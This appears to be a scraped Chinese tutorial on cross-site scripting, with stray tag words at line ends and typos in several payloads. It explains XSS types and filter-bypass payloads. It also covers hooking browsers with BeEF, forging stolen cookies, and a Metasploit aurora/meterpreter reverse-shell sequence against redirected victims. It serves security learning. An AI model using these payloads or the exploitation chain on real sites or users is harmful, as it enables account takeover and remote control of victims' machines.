XSS是很是厲害的漏洞,在OWASP TOP10中榜上有名。javascript
XSS攻擊一般指的是經過利用網頁開發時留下的漏洞,經過巧妙的方法注入惡意指令代碼到網頁,使用戶加載並執行攻擊者惡意製造的網頁程序。php
人們常常將跨站腳本攻擊(Cross Site Scripting)縮寫爲CSS,但這會與層疊樣式表(Cascading Style Sheets,CSS)的縮寫混淆。所以,有人將跨站腳本攻擊縮寫爲XSS。但我認爲這個中文名字不是太好,XSS說白了就是利用JS腳本的強大能力,攻擊者經過一些手段,好比說評論功能,留言功能,等等,把一段JS代碼插入到受害網站中,若是受害者網站對用戶輸入的信息過濾不足,任何人在瀏覽時都會遭受到這段JS代碼的威脅。甚至是原本就是惡意的一些網站,沒有任何人攻擊寫入惡意代碼,而是網站製做者自己的惡意寫入去攻擊網站瀏覽者。因此 引入惡意腳本的站點攻擊 這個名字更適合他。css
危害: 盜取受害者cookie信息,電腦截屏,獲取用戶電腦的shell(打開cmd的權限),盜取帳號,劫持用戶會話,插入惡意內容、重定向用戶、使用惡意軟件劫持用戶瀏覽器、繁殖XSS蠕蟲, js功能的強大超乎咱們的想像。html
利用一段簡潔的代碼,去測試網站有沒有XSS的漏洞。這樣的代碼叫作 POC(Proof of Concept) proof 英[pruːf] n:證據; 證實; 檢驗;
java
網站通常會對<標籤>
, '
, "
, \
進行過濾web
<script>alert('xss')</script> // 標籤驗證是否存在標籤的過濾,若是出現彈窗則證實存在漏洞
<script>confirm('xss')</script> // 標籤驗證是否存在標籤的過濾,若是出現彈窗則證實存在漏洞
<script>promot('xss')</script> // 標籤驗證是否存在標籤的過濾,若是出現彈窗則證實存在漏洞
ajax
在有關頁面輸入此類代碼進行提交,對結果頁面進行檢查,一般腳本是不會顯示到頁面上的,若是提交評論其餘文字會有顯示,而js代碼卻沒有顯示,則極可能攻擊成功,咱們能夠查看網頁源代碼進行查找是否成爲了網頁的js腳本。shell
若是這一小段代碼引入成功,那麼其餘更加恐怖的代碼也能夠成功了。數據庫
pikachuwindows
xsschallenge
從攻擊代碼的工做方式能夠分爲三個類型:
(1)持久型跨站:最直接的危害類型,跨站代碼存儲在服務器(數據庫)。
(2)非持久型跨站:反射型跨站腳本漏洞,最廣泛的類型。用戶訪問服務器-跨站連接-返回跨站代碼。
(3)DOM跨站(DOM XSS):DOM(document object model文檔對象模型),客戶端腳本處理邏輯致使的安全問題。
基於DOM的XSS漏洞是指受害者端的網頁腳本在修改本地頁面DOM環境時未進行合理的處置,而使得攻擊腳本被執行。在整個攻擊過程當中,服務器響應的頁面並無發生變化,引發客戶端腳本執行結果差別的緣由是對本地DOM的惡意篡改利用。
利用一些表單的變量,進行攻擊。
www.abc.com/index.php?submit=submit&a=<script>alert('xss')</script>
其中submit是提交的結果顯示,而a這個變量是用戶提交的東西(評論,搜索內容等等),而這個連接會顯示用戶提交後的網頁,這樣,只要訪問就會出現彈窗。因此不要亂點不明連接。點擊便可觸發反射形XSS攻擊。
把惡意代碼放到網站數據庫中,網站是會存儲用戶的信息的,好比說評論信息,文章信息。你的一些發佈的東西都會被永久的存儲到數據庫中,若是你提交的東西里包含可執行的惡意代碼,別的用戶在經過動態網站的訪問時,網站從數據庫裏取出你放的評論(內有惡意代碼),顯示給其餘人,惡意JS代碼也就會執行。
純網站本身編寫的JS存在漏洞,致使其餘人根據這些漏洞,把惡意代碼寫入頁面。
DOM型XSS主要是由客戶端的腳本經過DOM動態地輸出數據到頁面而不是依賴於將數據提交給服務器端,而從客戶端得到DOM中的數據在本地執行,於是僅從服務器端是沒法防護的。其防護在於:(1) 避免客戶端文檔重寫、重定向或其餘敏感操做,同時避免使用客戶端數據,這些操做盡可能在服務器端使用動態頁面來實現;(2) 分析和強化客戶端JS代碼,特別是受到用戶影響的DOM對象,注意能直接修改DOM和建立HTML文件的相關函數或方法,並在輸出變量到頁面時先進行編碼轉義,如輸出到HTML則進行HTML編碼、輸出到則進行JS編碼。
javascript:
僞協議的方式構造 XSS。
<a href="javasript:alert('xss')">clickMe</a>
<img src="javasript:alert('xss')" />
利用JS 對網頁中的各類操做事件的響應,去觸發JS代碼進行 XSS。
<img src="images/defualt.jpg" onmouseover="alert('xss')" />
<input type='text' onkeydown="alert('xss')" />
style="backgroud-image:url(javasript:alert('xss'))"
利用XSS的各類形式,達到對於過濾器,過濾函數的繞過。
<Img sRc='#' Onerror="alert" />
<a hRef="javasript:alert('xss')"> clickMe </A>
HTML對引號沒啥感受,如下三者均可以用。
img src="#" onerror="alter('xss')"
img src="#" onerror='alter('xss')'
img src="#" onerror=alter('xss')
<Img/sRc='#'/Onerror="alert">
<a hRef="j av asri pt:alert('xss')"> clickMe </A>
字符 | 編碼 | 十進制編碼 | 十六進制編碼 |
---|---|---|---|
a | 97 | a |
a |
e | 101 | e |
e |
Tab | 	 |
能夠插入任意位置 | |
換行 | |
能夠插入任意位置 | |
回車 | |
能夠插入任意位置 | |
SOH |  |
能夠插入頭部位置 | |
STX |  |
能夠插入頭部位置 |
<a hRef="
ja
vas
ript:alert('xss')"> clickMe `
這個有點問題。
<script><scr<script>ipt>
永遠不要相信用戶的輸入。
Kali的一款工具。利用特定的JS代碼,使得遭受這段代碼攻擊的人,在 beef服務器上上線,相似灰鴿子,能夠瀏覽器劫持,獲取受害主機的cookie,shell命令行權限等等。
安裝完成後要修改配置文件,由於安全考慮,要修改在配置文件中的 默認帳戶名和密碼。
<script src="http://127.0.0.1:3000/hook.js"></script>
經過竊取受害者cookie,若是網站以cookie信息驗證用戶身份,則攻擊者能夠在本身的電腦中寫入獲取的cookie信息,直接登陸後臺而不會受阻。
document.cookie="username=admin"; document.cookie="password=123456";
利用msf,msf是kali自帶的一個工具,利用它生成一個能夠利用瀏覽器漏洞獲取shell的頁面,讓beef受害者重定向(**Redirect Browser*)到這個頁面,便可查看用戶本地進程,打開受害者的shell,可是一旦受害者斷開頁面或瀏覽器,這樣的鏈接就會斷開,因此要及時切換攻擊進程的位置。
msfconsole # 啓動工具 use exploit/windows/browser/ms10_002_aurora # 利用模塊 set payload windows/meterpreter/reverse_tcp set SRVHOST 123.123.123.123 #目標地址 show options # 展現操做結果 set LHOST 11.11.11.11 #本機地址 show options # 展現操做結果 exploit # 攻擊頁面生成 URL # 利用重定向使用戶訪問頁面 sessions -i #查看受害者鏈接 sessions -i 1 #進入到受害者會話 ps #查看受害者主機進程列表 任務管理器 getuid # 獲取攻擊進程的序號 migrate 1532 # 切換進程來維持長久鏈接
一個XSS漏洞利用平臺。建立本身的項目,配置相關的攻擊模塊,自動會生成JS代碼,在由XSS漏洞的平臺裏,用外部JS引入攻擊代碼,便可獲取受害者信息,以及其餘的一些操縱。
windows.location.hash會取得瀏覽器的url中 #
以及後面的字符串。
url_http://abc.com/index.php?a=5#abcdef location.hash=#abcdef
攻擊實例:http://abc.com/index.php?submit=submit&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/你好世界/)
substr(index)會截取第幾個字符後面的字符,從1開始。
把XSS代碼寫到cookie中,用戶登陸或者是其餘一些用到cookie信息的時候,一些網頁會提取cookie信息,並展現給用戶看,這個時候XSS就執行了。
利用Ajax去請求遠端的JS代碼,執行攻擊。
網上有不少XSS練習平臺,有的是在線網頁的能夠去人家的網站,還有能夠下載下來放到本身機器上的練習網站。
多練。😒